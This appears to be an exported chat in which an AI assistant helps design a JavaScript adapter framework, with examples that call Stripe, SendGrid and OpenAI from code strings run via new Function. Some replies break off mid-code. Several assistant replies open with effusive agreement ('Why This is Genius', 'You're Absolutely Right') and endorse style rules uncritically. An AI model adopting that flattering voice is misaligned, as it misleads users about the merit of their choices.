Set Default Adapter
javascript
// Global default
coworker.setDefaultAdapter('Stripe');
// Now these use Stripe automatically
await run({ operation: 'create_payment', input: {...} });
await run({ operation: 'refund_payment', input: {...} });
// Override default for specific call
await run({ operation: 'create_payment', input: {...}, options: { adapter: 'PayPal' } });Per-Operation Default
javascript
// Set default adapter per operation
coworker.setOperationDefaults({
'create_payment': { adapter: 'Stripe' },
'send_email': { adapter: 'SendGrid' },
'generate_image': { adapter: 'OpenAI' }
});
// Now these use their defaults
await run({ operation: 'create_payment' }); // Uses Stripe
await run({ operation: 'send_email' }); // Uses SendGrid
await run({ operation: 'generate_image' }); // Uses OpenAINull Adapter (Special Case)
javascript
// null adapter = use default or error
await run({ operation: 'create_payment', options: { adapter: null } })
// Behavior: Use default adapter if set, error if not
// vs no adapter specified
await run({ operation: 'create_payment' })
// Behavior: Same as nullBuilt-in Operations with Adapter Override
javascript
// Built-in select (uses database)
await run({ operation: 'select', doctype: 'Task' })
// Override with memory adapter
await run({
operation: 'select',
doctype: 'Task',
options: { adapter: 'Memory' }
})
// Resolution:
coworker.run = async function(op) {
const adapterName = op.options?.adapter;
// If adapter explicitly specified, use it (even for built-ins)
if (adapterName) {
const adapter = await this.loadAdapter(adapterName);
const operation = adapter.operations.find(o => o.name === op.operation);
if (operation) {
return this._executeAdapterOperation(operation, adapter, op);
}
}
// Fall back to built-in
if (this._builtinOperations[op.operation]) {
return this._builtinOperations[op.operation](op);
}
throw new Error(`Operation '${op.operation}' not found`);
};Memory Adapter Example
javascript
Adapter: Memory = {
name: "Memory",
config: {},
operations: [
{
name: "select",
target_doctype: null, // Dynamic based on input
execute: `function(input, config, context) {
const store = context.memoryStore || {};
const doctype = input.doctype;
const data = store[doctype] || [];
// Simple filtering
if (input.where) {
return data.filter(doc => {
return Object.entries(input.where).every(([key, value]) =>
doc[key] === value
);
});
}
return data;
}`
},
{
name: "create",
target_doctype: null,
execute: `function(input, config, context) {
const store = context.memoryStore || {};
const doctype = input.doctype;
if (!store[doctype]) {
store[doctype] = [];
}
const doc = {
name: generateId(doctype),
...input.data,
doctype: doctype
};
store[doctype].push(doc);
context.memoryStore = store;
return doc;
}`
}
]
}Usage Patterns
Pattern 1: Development with Memory Adapter
javascript
// Development - use memory (no database needed)
coworker.setDefaultAdapter('Memory');
await run({ operation: 'create', doctype: 'Task', input: { title: 'Test' } });
await run({ operation: 'select', doctype: 'Task', where: { title: 'Test' } });
// Production - switch to database
coworker.setDefaultAdapter(null); // Use built-in database operationsPattern 2: Testing with Mock Adapter
javascript
// Test suite
beforeEach(() => {
coworker.setDefaultAdapter('Mock');
});
// Same code works in test and production
async function processPayment(amount) {
return await run({
operation: 'create_payment',
input: { amount }
});
}
// In test: uses Mock adapter
// In prod: uses real Stripe adapterPattern 3: Per-Call Override
javascript
// Default: production Stripe
coworker.setOperationDefaults({
'create_payment': { adapter: 'Stripe' }
});
// Normal usage
await run({ operation: 'create_payment', input: {...} }); // Stripe
// Testing this specific call
await run({
operation: 'create_payment',
input: {...},
options: { adapter: 'MockPayment' } // Override
});Pattern 4: Multi-Adapter Application
javascript
// Different operations use different adapters
coworker.setOperationDefaults({
'create_payment': { adapter: 'Stripe' },
'send_email': { adapter: 'SendGrid' },
'store_file': { adapter: 'S3' },
'generate_text': { adapter: 'OpenAI' }
});
// Clean code - no adapter specified
await run({ operation: 'create_payment', input: {...} });
await run({ operation: 'send_email', input: {...} });
await run({ operation: 'store_file', input: {...} });
await run({ operation: 'generate_text', input: {...} });
```
---
## Resolution Priority
```
1. Explicit adapter in options: { adapter: 'Stripe' }
↓
2. Operation-specific default: setOperationDefaults({ 'create_payment': { adapter: 'Stripe' } })
↓
3. Global default: setDefaultAdapter('Stripe')
↓
4. Built-in operation (select, create, update, delete)
↓
5. Error: Operation requires adapterImplementation
javascript
coworker._defaultAdapter = null;
coworker._operationDefaults = {};
coworker.setDefaultAdapter = function(adapterName) {
this._defaultAdapter = adapterName;
};
coworker.setOperationDefaults = function(defaults) {
this._operationDefaults = { ...this._operationDefaults, ...defaults };
};
coworker.run = async function(op) {
const run_doc = {
doctype: "Run",
name: generateId("run"),
operation: op.operation,
input: op.input,
options: op.options || {}
};
// Resolve adapter
const explicitAdapter = op.options?.adapter;
const operationDefault = this._operationDefaults[op.operation]?.adapter;
const globalDefault = this._defaultAdapter;
const adapterName = explicitAdapter ?? operationDefault ?? globalDefault;
try {
// If adapter specified (explicitly or via defaults), try adapter first
if (adapterName) {
const adapter = await this.loadAdapter(adapterName);
const operation = adapter.operations?.find(o => o.name === op.operation);
if (operation) {
run_doc.adapter = adapterName;
return await this._executeAdapterOperation(operation, adapter, run_doc);
}
// Adapter doesn't have this operation - fall through to built-in
}
// Try built-in operations
if (this._builtinOperations[op.operation]) {
return await this._builtinOperations[op.operation](run_doc);
}
// Not found anywhere
if (adapterName) {
throw new Error(
`Operation '${op.operation}' not found in adapter '${adapterName}' or built-ins`
);
} else {
throw new Error(
`Operation '${op.operation}' not found. Specify adapter or use built-in operation.`
);
}
} catch (err) {
run_doc.success = false;
run_doc.error = err;
throw err;
}
};Configuration Example
javascript
// App initialization
coworker.configure({
defaultAdapter: 'Stripe',
operationDefaults: {
'create_payment': { adapter: 'Stripe' },
'refund_payment': { adapter: 'Stripe' },
'send_email': { adapter: 'SendGrid' },
'send_sms': { adapter: 'Twilio' },
'generate_image': { adapter: 'OpenAI' },
'chat_complete': { adapter: 'OpenAI' }
}
});
// Now app code is clean
await run({ operation: 'create_payment', input: {...} });
await run({ operation: 'send_email', input: {...} });
// Easy to switch for testing
coworker.configure({
operationDefaults: {
'create_payment': { adapter: 'MockPayment' },
'send_email': { adapter: 'MockEmail' }
}
});Key Benefits
✅ Adapter Switching
javascript
// Same code, different adapters
await run({ operation: 'select', doctype: 'Task' });
// vs
await run({ operation: 'select', doctype: 'Task', options: { adapter: 'Memory' } });✅ Clean Application Code
javascript
// No adapter clutter
await run({ operation: 'create_payment', input: {...} });
// Instead of
await run({ operation: 'create_payment', adapter: 'Stripe', input: {...} });✅ Easy Testing
javascript
// Switch all adapters for test environment
if (process.env.NODE_ENV === 'test') {
coworker.setDefaultAdapter('Mock');
}✅ Consistent Interface
javascript
// All operations called the same way
await run({ operation: 'select' });
await run({ operation: 'create_payment' });
await run({ operation: 'send_email' });Answer to Original Question
Who resolves the operation string?
→ coworker.run() resolves it
Against what? → Against this priority order:
- Adapter specified in
options.adapter - Operation-specific default adapter
- Global default adapter
- Built-in operations
- Error
Result: Flexible, testable, clean code with adapter abstraction.
11:29 AM
Evaluating: Skip Operations, Direct to Functions
Your Proposal
javascript
// CURRENT (with operations layer):
Adapter: Stripe = {
operations: [
{
name: "create_payment",
target_doctype: "StripePayment",
pipeline: [...]
}
]
}
// YOUR PROPOSAL (direct functions):
Adapter: Stripe = {
functions: {
create_payment: "async function(input, config) { ... }",
refund_payment: "async function(input, config) { ... }",
get_customer: "async function(input, config) { ... }"
}
}
// Usage stays same
run({ operation: 'create_payment', options: { adapter: 'Stripe' } })
// Resolves to: Adapter.functions['create_payment']Evaluation: Pros
✅ 1. Simpler Structure
javascript
// No nested operations array
Adapter: Stripe = {
name: "Stripe",
config: { api_key: "...", base_url: "..." },
functions: {
create_payment: "async function(input, config) { ... }",
refund_payment: "async function(input, config) { ... }"
}
}
// vs
Adapter: Stripe = {
name: "Stripe",
config: { api_key: "...", base_url: "..." },
operations: [
{
name: "create_payment",
target_doctype: "StripePayment",
execute: "async function(input, config) { ... }"
},
{
name: "refund_payment",
target_doctype: "StripeRefund",
execute: "async function(input, config) { ... }"
}
]
}✅ 2. Less Abstraction Layers
javascript
// Direct path:
run({ operation: 'create_payment' })
→ Load adapter
→ Get function by name: adapter.functions['create_payment']
→ Execute function
// vs current:
run({ operation: 'create_payment' })
→ Load adapter
→ Find operation in array: adapter.operations.find(...)
→ Get function from operation: operation.execute
→ Execute function✅ 3. Functions ARE Operations
javascript
// Clear 1:1 mapping
Operation name = Function name
run({ operation: 'create_payment' })
→ calls Adapter.functions.create_payment
// No separate concept of "operations" vs "functions"✅ 4. Easier Discovery
javascript
// Get all available operations for adapter
const adapter = await loadAdapter('Stripe');
const operations = Object.keys(adapter.functions);
// ['create_payment', 'refund_payment', 'get_customer']
// vs
const operations = adapter.operations.map(op => op.name);Evaluation: Cons
❌ 1. Loss of Metadata
javascript
// WITH operations layer - can store metadata:
operations: [
{
name: "create_payment",
target_doctype: "StripePayment", // What it returns
description: "Create a payment intent", // Documentation
parameters: [...], // Expected input
permissions: [...], // Who can call
rate_limit: 100, // Rate limiting
timeout: 30000, // Timeout
execute: "async function(...) { ... }"
}
]
// WITHOUT operations layer - just functions:
functions: {
create_payment: "async function(input, config) { ... }"
// Where does metadata go?
}Question: Do you need this metadata?
❌ 2. No Multi-Step Pipelines
javascript
// WITH operations - can define pipelines:
operations: [
{
name: "create_payment",
pipeline: [
{ step: "validate", function: "validate_input" },
{ step: "format", function: "stripe_format_request" },
{ step: "execute", function: "http_post" },
{ step: "parse", function: "stripe_parse_response" }
]
}
]
// WITHOUT operations - monolithic function:
functions: {
create_payment: "async function(input, config) {
// All logic in one place
validate(input);
const formatted = format(input);
const response = await http_post(formatted);
return parse(response);
}"
}Trade-off:
- More flexible pipelines vs simpler single functions
- Function composition vs monolithic code
❌ 3. Can't Share Sub-Functions
javascript
// WITH operations - can reference shared functions:
operations: [
{
name: "create_payment",
execute: "stripe_format_then_post" // References function
},
{
name: "refund_payment",
execute: "stripe_format_then_post" // Same function
}
]
// WITHOUT - must duplicate or manually compose:
functions: {
create_payment: "async function(input, config) {
// Duplicated logic
const formatted = format_stripe_request(input);
return await http_post(formatted, config);
}",
refund_payment: "async function(input, config) {
// Same logic duplicated
const formatted = format_stripe_request(input);
return await http_post(formatted, config);
}"
}Solution: Functions can still call other functions internally
❌ 4. Target DocType Unknown
javascript
// WITH operations:
operations: [
{
name: "create_payment",
target_doctype: "StripePayment" // Known upfront
}
]
// System knows: run_doc.target.doctype = "StripePayment"
// WITHOUT operations:
functions: {
create_payment: "async function(input, config) { ... }"
}
// How does system know what target_doctype is?Solution: Function must return it, or infer from result
Solution: Functions with Light Metadata
javascript
Adapter: Stripe = {
name: "Stripe",
config: { api_key: "...", base_url: "..." },
functions: {
create_payment: {
code: "async function(input, config) { ... }",
target_doctype: "StripePayment", // Minimal metadata
description: "Create a payment intent"
},
refund_payment: {
code: "async function(input, config) { ... }",
target_doctype: "StripeRefund"
}
}
}
// Resolution
const fn = adapter.functions[operation];
const targetDoctype = fn.target_doctype;
const code = fn.code;Hybrid: Functions Can Call Functions
javascript
// Shared utility functions
functions: {
// Internal helpers (not exposed as operations)
_format_stripe_request: "function(input) { ... }",
_http_post: "async function(url, body, headers) { ... }",
_parse_stripe_response: "function(response) { ... }",
// Public operations (callable via run())
create_payment: `async function(input, config) {
const formatted = this._format_stripe_request(input);
const response = await this._http_post(
config.base_url + '/payment_intents',
formatted,
{ Authorization: 'Bearer ' + config.api_key }
);
return this._parse_stripe_response(response);
}`,
refund_payment: `async function(input, config) {
const formatted = this._format_stripe_request(input);
const response = await this._http_post(
config.base_url + '/refunds',
formatted,
{ Authorization: 'Bearer ' + config.api_key }
);
return this._parse_stripe_response(response);
}`
}Convention:
- Functions starting with
_are internal helpers - Functions without
_are operations (exposed via run())
Final Structure Proposal
javascript
Adapter: Stripe = {
name: "Stripe",
config: {
api_key: "sk_...",
base_url: "https://api.stripe.com/v1"
},
functions: {
// Operations (public, callable via run)
create_payment: {
target_doctype: "StripePayment",
code: `async function(input, config) {
const formatted = {
amount: input.amount,
currency: input.currency || 'usd',
customer: input.customer_id
};
const response = await fetch(config.base_url + '/payment_intents', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify(formatted)
});
const data = await response.json();
return {
doctype: 'StripePayment',
name: generateId('StripePayment'),
payment_id: data.id,
amount: data.amount,
status: data.status,
customer_id: data.customer
};
}`
},
refund_payment: {
target_doctype: "StripeRefund",
code: `async function(input, config) { ... }`
}
}
}Resolution Code
javascript
coworker._executeAdapterOperation = async function(adapter, operation, run_doc) {
const fn = adapter.functions[operation];
if (!fn) {
throw new Error(`Operation '${operation}' not found in adapter '${adapter.name}'`);
}
// Get target doctype
const targetDoctype = fn.target_doctype || operation;
run_doc.target = {
doctype: targetDoctype,
schema: await this.getSchema(targetDoctype),
data: null,
meta: {}
};
// Deserialize and execute
const code = typeof fn === 'string' ? fn : fn.code;
const executable = new Function('return ' + code)();
const result = await executable(run_doc.input, adapter.config);
run_doc.target.data = [result];
run_doc.success = true;
return run_doc;
};Verdict
✅ YES - Skip Operations Layer
Reasons:
- Simpler structure (no nested operations array)
- Direct mapping: operation name = function name
- Less abstraction (fewer layers to understand)
- Easier to discover available operations
With modification:
- Keep minimal metadata:
target_doctype - Functions can call other functions internally
- Convention:
_prefixfor internal helpers
Result:
javascript
Adapter.functions = {
create_payment: {
target_doctype: "StripePayment",
code: "async function(input, config) { ... }"
}
}
// vs
Adapter.operations = [
{
name: "create_payment",
target_doctype: "StripePayment",
execute: "async function(input, config) { ... }"
}
]The first is simpler and sufficient for your use case.
11:30 AM
You're Absolutely Right
These Are Adapter-Level Properties
javascript
// WRONG: Per-function metadata
functions: {
create_payment: {
code: "...",
target_doctype: "StripePayment",
parameters: [...], // ❌ Not function-specific
permissions: [...], // ❌ Not function-specific
rate_limit: 100, // ❌ Not function-specific
timeout: 30000 // ❌ Not function-specific
}
}
// RIGHT: Adapter-level configuration
Adapter: Stripe = {
name: "Stripe",
// Adapter-wide settings
config: {
api_key: "sk_...",
base_url: "https://api.stripe.com/v1"
},
permissions: [...], // ✅ Who can use THIS adapter
rate_limit: 100, // ✅ Rate limit for THIS adapter
timeout: 30000, // ✅ Timeout for THIS adapter
// Just functions and their output types
functions: {
create_payment: {
target_doctype: "StripePayment",
code: "async function(input, config) { ... }"
},
refund_payment: {
target_doctype: "StripeRefund",
code: "async function(input, config) { ... }"
}
}
}Why These Are Adapter-Level
1. Permissions
All operations in Stripe adapter share same permission model:
javascript
// Check once at adapter level
if (!canUseAdapter(user, 'Stripe')) {
throw new Error('No permission to use Stripe adapter');
}
// Then any function in Stripe is allowed
await run({ operation: 'create_payment', adapter: 'Stripe' });
await run({ operation: 'refund_payment', adapter: 'Stripe' });If you need function-level permissions, it's really asking: "Can this user use Stripe for payments?" → Still adapter-level based on what Stripe does
2. Rate Limiting
API rate limits are per adapter (per API key):
javascript
// Stripe API has global rate limit
// All calls count toward same limit:
Stripe.create_payment() // counts
Stripe.refund_payment() // counts
Stripe.get_customer() // counts
// Not per-function limits3. Timeout
Network timeout is for adapter's external service:
javascript
// All Stripe API calls have same network characteristics
config: {
timeout: 30000 // All Stripe calls timeout at 30s
}
// Not function-specific4. Parameters (Input Schema)
These belong to the FUNCTION, not adapter:
javascript
// Each function has different expected input
functions: {
create_payment: {
// This function expects these inputs
input_schema: {
amount: { type: 'number', required: true },
currency: { type: 'string', default: 'usd' },
customer_id: { type: 'string', required: true }
},
code: "..."
},
refund_payment: {
// Different inputs
input_schema: {
payment_id: { type: 'string', required: true },
amount: { type: 'number', required: false }
},
code: "..."
}
}But even this might be over-engineering - the function code itself validates input.
Simplified Adapter Structure
javascript
Adapter: Stripe = {
// Identity
name: "Stripe",
description: "Stripe payment processing",
// Configuration
config: {
api_key: "sk_...",
base_url: "https://api.stripe.com/v1",
timeout: 30000, // Network timeout
retry_attempts: 3 // Retry logic
},
// Authorization (adapter-level)
permissions: [
{ role: "Payment Manager", read: 1, write: 1 },
{ role: "Accountant", read: 1 }
],
// Rate limiting (adapter-level)
rate_limit: {
requests_per_second: 100,
burst: 200
},
// Functions (just code + output type)
functions: {
create_payment: {
target_doctype: "StripePayment",
code: "async function(input, config) { ... }"
},
refund_payment: {
target_doctype: "StripeRefund",
code: "async function(input, config) { ... }"
},
get_customer: {
target_doctype: "StripeCustomer",
code: "async function(input, config) { ... }"
}
}
}Even Simpler: Minimal Metadata
Question: Does target_doctype even need to be separate?
Option A: Keep target_doctype separate
javascript
functions: {
create_payment: {
target_doctype: "StripePayment",
code: "async function(input, config) {
// ... logic ...
return {
payment_id: data.id,
amount: data.amount,
status: data.status
};
}"
}
}Option B: Function returns doctype
javascript
functions: {
create_payment: "async function(input, config) {
// ... logic ...
return {
doctype: 'StripePayment', // Included in return
name: generateId('StripePayment'),
payment_id: data.id,
amount: data.amount,
status: data.status
};
}"
}Option B is simpler - function knows what it returns.
Absolute Minimal Structure
javascript
Adapter: Stripe = {
name: "Stripe",
config: {
api_key: "sk_...",
base_url: "https://api.stripe.com/v1"
},
// Adapter-level constraints
timeout: 30000,
rate_limit: 100,
permissions: [
{ role: "Payment Manager", read: 1, write: 1 }
],
// Just functions (strings)
functions: {
create_payment: `async function(input, config) {
const response = await fetch(config.base_url + '/payment_intents', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
amount: input.amount,
currency: input.currency || 'usd',
customer: input.customer_id
})
});
const data = await response.json();
return {
doctype: 'StripePayment',
name: generateId('StripePayment'),
payment_id: data.id,
amount: data.amount,
status: data.status,
customer_id: data.customer
};
}`,
refund_payment: `async function(input, config) {
// ... similar logic ...
return {
doctype: 'StripeRefund',
// ...
};
}`
}
}Adapter Schema
javascript
DocType: Adapter = {
name: "Adapter",
fields: [
// Identity
{ fieldname: "name", fieldtype: "Data", required: 1, unique: 1 },
{ fieldname: "description", fieldtype: "Text" },
// Configuration
{ fieldname: "config", fieldtype: "JSON" },
// Constraints (adapter-level)
{ fieldname: "timeout", fieldtype: "Int", default: 30000 },
{ fieldname: "rate_limit", fieldtype: "Int" },
{ fieldname: "retry_attempts", fieldtype: "Int", default: 3 },
// Authorization (adapter-level)
{ fieldname: "permissions", fieldtype: "JSON" },
// Functions (code as JSON object)
{ fieldname: "functions", fieldtype: "JSON" }
],
permissions: [
{ role: "System Manager", read: 1, write: 1, create: 1, delete: 1 },
{ role: "Developer", read: 1, write: 1, create: 1 }
]
}Execution with Adapter-Level Constraints
javascript
coworker._executeAdapterOperation = async function(adapter, operation, run_doc) {
// 1. Check adapter permissions
if (!this._checkAdapterPermission(run_doc.owner, adapter)) {
throw new Error(`No permission to use adapter: ${adapter.name}`);
}
// 2. Check rate limit
if (!this._checkRateLimit(adapter.name, adapter.rate_limit)) {
throw new Error(`Rate limit exceeded for adapter: ${adapter.name}`);
}
// 3. Get function
const fnCode = adapter.functions[operation];
if (!fnCode) {
throw new Error(`Operation '${operation}' not found in adapter '${adapter.name}'`);
}
// 4. Execute with timeout
const fn = new Function('return ' + fnCode)();
const timeoutPromise = new Promise((_, reject) =>
setTimeout(() => reject(new Error('Timeout')), adapter.timeout)
);
const result = await Promise.race([
fn(run_doc.input, adapter.config),
timeoutPromise
]);
// 5. Result includes doctype
run_doc.target = {
doctype: result.doctype,
schema: await this.getSchema(result.doctype),
data: [result],
meta: {}
};
return run_doc;
};Final Answer
YES - All those properties are adapter-level:
javascript
Adapter: {
name: "Stripe",
config: { api_key, base_url },
// Adapter-level constraints
permissions: [...], // Who can use this adapter
rate_limit: 100, // Rate limit for this adapter's API
timeout: 30000, // Network timeout for this adapter
// Just functions
functions: {
create_payment: "async function(input, config) { ... }",
refund_payment: "async function(input, config) { ... }"
}
}Functions are just code strings - they return objects with doctype field to indicate what they produced.
All operational constraints live at adapter level - they apply to ALL functions in that adapter.
11:35 AM
Brilliant Simplification: Always Mutate run_doc
The Universal Pattern
javascript
functions: {
create_payment: `async function(run_doc) {
// Access everything from run_doc
const input = run_doc.input;
const config = run_doc.adapter.config;
// Do work
const response = await fetch(config.base_url + '/payment_intents', {
method: 'POST',
headers: { 'Authorization': 'Bearer ' + config.api_key },
body: JSON.stringify({
amount: input.amount,
currency: input.currency || 'usd'
})
});
const data = await response.json();
// Mutate run_doc.target
run_doc.target.doctype = 'StripePayment';
run_doc.target.data = [{
doctype: 'StripePayment',
name: generateId('StripePayment'),
payment_id: data.id,
amount: data.amount,
status: data.status
}];
// Always return run_doc
return run_doc;
}`
}Why This is Genius
✅ 1. Single Input/Output Shape
javascript
// ALL functions have same signature
async function(run_doc) → run_doc
// No confusion about parameters
// No confusion about return values✅ 2. Complete Context Available
javascript
run_doc = {
// Input
input: { amount: 5000, customer_id: 'cus_123' },
// Adapter context
adapter: {
name: 'Stripe',
config: { api_key: '...', base_url: '...' }
},
// Target (to be populated)
target: {
doctype: null,
schema: null,
data: null,
meta: {}
},
// Execution metadata
owner: 'user@example.com',
options: { ... }
}
// Function has access to EVERYTHING it needs✅ 3. Consistent Mutation Pattern
javascript
// Every function follows same pattern:
// 1. Read from run_doc
// 2. Do work
// 3. Write to run_doc.target
// 4. Return run_doc✅ 4. No Parameter Mapping Needed
javascript
// BEFORE: Complex parameter resolution
{
function: "http_post",
args: {
url: "@config.base_url",
body: "$input",
headers: { ... }
}
}
// AFTER: Everything in run_doc
async function(run_doc) {
const url = run_doc.adapter.config.base_url;
const body = run_doc.input;
// Direct access, no mapping needed
}✅ 5. Easy Debugging
javascript
// Can inspect run_doc at any point
console.log('Before:', run_doc);
await adapter.functions.create_payment(run_doc);
console.log('After:', run_doc);
// See exactly what changed✅ 6. Middleware/Hooks Trivial
javascript
// Before function
const beforeState = JSON.stringify(run_doc);
// Execute
await fn(run_doc);
// After function
const afterState = JSON.stringify(run_doc);
const changes = diff(beforeState, afterState);Complete run_doc Structure
javascript
run_doc = {
// Identity
doctype: "Run",
name: "run-abc123",
creation: 1234567890,
modified: 1234567890,
owner: "user@example.com",
// Operation
operation: "create_payment",
// Input
input: {
amount: 5000,
currency: "usd",
customer_id: "cus_123"
},
// Adapter context (loaded by coworker.run)
adapter: {
name: "Stripe",
config: {
api_key: "sk_...",
base_url: "https://api.stripe.com/v1"
},
timeout: 30000,
rate_limit: 100,
permissions: [...]
},
// Target (populated by function)
target: {
doctype: null, // Function sets this
schema: null, // Coworker loads after function returns
data: null, // Function sets this
meta: {} // Function can add metadata
},
// Execution state
status: "running",
success: false,
error: null,
duration: 0,
// Options
options: { ... }
}Execution Flow
javascript
coworker.run = async function(op) {
const start = Date.now();
// Build run_doc
const run_doc = {
doctype: "Run",
name: generateId("run"),
creation: start,
modified: start,
owner: op.owner || "system",
operation: op.operation,
input: op.input || {},
adapter: null, // Will be populated
target: {
doctype: null,
schema: null,
data: null,
meta: {}
},
status: "running",
success: false,
error: null,
duration: 0,
options: op.options || {}
};
try {
// Resolve adapter
const adapterName = op.options?.adapter || this._defaultAdapter;
if (adapterName) {
// Load adapter
const adapter = await this.loadAdapter(adapterName);
run_doc.adapter = adapter;
// Get function
const fn = adapter.functions[run_doc.operation];
if (!fn) {
throw new Error(`Operation '${run_doc.operation}' not found in adapter '${adapterName}'`);
}
// Deserialize and execute
const executable = new Function('return ' + fn)();
await executable(run_doc); // Mutates run_doc
} else {
// Built-in operation
if (this._builtinOperations[run_doc.operation]) {
await this._builtinOperations[run_doc.operation](run_doc); // Also mutates run_doc
} else {
throw new Error(`Unknown operation: ${run_doc.operation}`);
}
}
// Load schema if target.doctype was set
if (run_doc.target.doctype && !run_doc.target.schema) {
run_doc.target.schema = await this.getSchema(run_doc.target.doctype);
}
run_doc.success = true;
run_doc.status = "completed";
} catch (err) {
run_doc.success = false;
run_doc.status = "failed";
run_doc.error = {
message: err.message,
code: err.code,
stack: this._config.debug ? err.stack : undefined
};
}
run_doc.duration = Date.now() - start;
run_doc.modified = Date.now();
return run_doc;
};Built-in Operations Also Follow Pattern
javascript
coworker._builtinOperations = {
select: async function(run_doc) {
const doctype = run_doc.input.doctype;
const query = run_doc.input.query || {};
// Query database
const results = await db.query(doctype, query);
// Mutate run_doc
run_doc.target.doctype = doctype;
run_doc.target.data = results;
return run_doc;
},
create: async function(run_doc) {
const doctype = run_doc.input.doctype;
const data = run_doc.input.data;
// Insert into database
const created = await db.insert(doctype, data);
// Mutate run_doc
run_doc.target.doctype = doctype;
run_doc.target.data = [created];
return run_doc;
}
};Adapter Function Examples
Simple Function
javascript
functions: {
create_payment: `async function(run_doc) {
const { input, adapter } = run_doc;
const response = await fetch(adapter.config.base_url + '/payment_intents', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + adapter.config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
amount: input.amount,
currency: input.currency || 'usd',
customer: input.customer_id
})
});
const data = await response.json();
run_doc.target.doctype = 'StripePayment';
run_doc.target.data = [{
doctype: 'StripePayment',
name: generateId('StripePayment'),
payment_id: data.id,
amount: data.amount,
status: data.status
}];
return run_doc;
}`
}Function with Error Handling
javascript
functions: {
send_email: `async function(run_doc) {
const { input, adapter } = run_doc;
try {
const response = await fetch(adapter.config.base_url + '/mail/send', {
method: 'POST',
headers: {
'Authorization': 'Bearer '11:36 AM
Always Use Full run_doc Path
The Rule: No Destructuring
javascript
// ❌ NO
async function(run_doc) {
const { input, adapter } = run_doc;
const { amount, customer_id } = input;
const { api_key, base_url } = adapter.config;
}
// ✅ YES
async function(run_doc) {
const amount = run_doc.input.amount;
const customer_id = run_doc.input.customer_id;
const api_key = run_doc.adapter.config.api_key;
const base_url = run_doc.adapter.config.base_url;
}Why This is Better
✅ 1. Explicit Context
javascript
// Always clear where values come from
run_doc.input.amount // From input
run_doc.adapter.config.api_key // From adapter config
run_doc.target.data // Output location✅ 2. Greppable
javascript
// Easy to search codebase
grep "run_doc.input"
grep "run_doc.adapter.config"
grep "run_doc.target.data"
// vs destructured (lost context)
grep "amount" // Could be from anywhere✅ 3. No Variable Shadowing
javascript
// Clear scope
async function(run_doc) {
const amount = run_doc.input.amount;
// Later in function, still clear
if (run_doc.input.currency === 'usd') {
// No confusion about where 'amount' came from
}
}✅ 4. Matches Template Syntax
javascript
// If you use templates elsewhere:
"{{run_doc.input.amount}}"
"{{run_doc.adapter.config.api_key}}"
// Same mental model in code:
run_doc.input.amount
run_doc.adapter.config.api_keyComplete Function Examples
Stripe create_payment
javascript
functions: {
create_payment: `async function(run_doc) {
const response = await fetch(
run_doc.adapter.config.base_url + '/payment_intents',
{
method: 'POST',
headers: {
'Authorization': 'Bearer ' + run_doc.adapter.config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
amount: run_doc.input.amount,
currency: run_doc.input.currency || 'usd',
customer: run_doc.input.customer_id
})
}
);
const data = await response.json();
run_doc.target.doctype = 'StripePayment';
run_doc.target.data = [{
doctype: 'StripePayment',
name: generateId('StripePayment'),
payment_id: data.id,
amount: data.amount,
status: data.status,
customer_id: data.customer
}];
return run_doc;
}`
}SendGrid send_email
javascript
functions: {
send_email: `async function(run_doc) {
const response = await fetch(
run_doc.adapter.config.base_url + '/mail/send',
{
method: 'POST',
headers: {
'Authorization': 'Bearer ' + run_doc.adapter.config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
personalizations: [{
to: [{ email: run_doc.input.to }]
}],
from: {
email: run_doc.input.from || run_doc.adapter.config.default_from
},
subject: run_doc.input.subject,
content: [{
type: 'text/html',
value: run_doc.input.html || run_doc.input.text
}]
})
}
);
run_doc.target.doctype = 'EmailDelivery';
run_doc.target.data = [{
doctype: 'EmailDelivery',
name: generateId('EmailDelivery'),
message_id: response.headers.get('x-message-id'),
to: run_doc.input.to,
status: response.status === 202 ? 'queued' : 'failed'
}];
return run_doc;
}`
}OpenAI chat_complete
javascript
functions: {
chat_complete: `async function(run_doc) {
const response = await fetch(
run_doc.adapter.config.base_url + '/chat/completions',
{
method: 'POST',
headers: {
'Authorization': 'Bearer ' + run_doc.adapter.config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
model: run_doc.input.model || run_doc.adapter.config.default_model,
messages: run_doc.input.messages,
max_tokens: run_doc.input.max_tokens,
temperature: run_doc.input.temperature || 0.7
})
}
);
const data = await response.json();
run_doc.target.doctype = 'AICompletion';
run_doc.target.data = [{
doctype: 'AICompletion',
name: generateId('AICompletion'),
content: data.choices[0].message.content,
model: data.model,
tokens_used: data.usage.total_tokens,
request_id: data.id,
finish_reason: data.choices[0].finish_reason
}];
return run_doc;
}`
}Built-in select
javascript
coworker._builtinOperations = {
select: async function(run_doc) {
const doctype = run_doc.input.doctype;
const where = run_doc.input.where || {};
const select = run_doc.input.select || ['*'];
const limit = run_doc.input.limit;
const results = await db.query({
doctype: doctype,
where: where,
select: select,
limit: limit
});
run_doc.target.doctype = doctype;
run_doc.target.data = results;
return run_doc;
}
}Usage Pattern
javascript
// Call operation
const result = await coworker.run({
operation: 'create_payment',
input: {
amount: 5000,
currency: 'usd',
customer_id: 'cus_123'
},
options: {
adapter: 'Stripe'
}
});
// Access result (full paths)
const payment = result.target.data[0];
const payment_id = result.target.data[0].payment_id;
const amount = result.target.data[0].amount;
// Or shorthand if you added it
const payment = result.data; // result.data = result.target.data[0]Complete Adapter Structure
javascript
Adapter: Stripe = {
name: "Stripe",
description: "Stripe payment processing",
config11:37 AM
Absolutely No Intermediate Variables
The Rule: Direct Access Only
javascript
// ❌ NO intermediate variables
async function(run_doc) {
const amount = run_doc.input.amount;
const api_key = run_doc.adapter.config.api_key;
fetch(url, {
body: JSON.stringify({ amount: amount })
});
}
// ✅ YES direct access everywhere
async function(run_doc) {
fetch(
run_doc.adapter.config.base_url + '/payment_intents',
{
body: JSON.stringify({
amount: run_doc.input.amount
})
}
);
}Complete Function Examples
Stripe create_payment
javascript
functions: {
create_payment: `async function(run_doc) {
const response = await fetch(
run_doc.adapter.config.base_url + '/payment_intents',
{
method: 'POST',
headers: {
'Authorization': 'Bearer ' + run_doc.adapter.config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
amount: run_doc.input.amount,
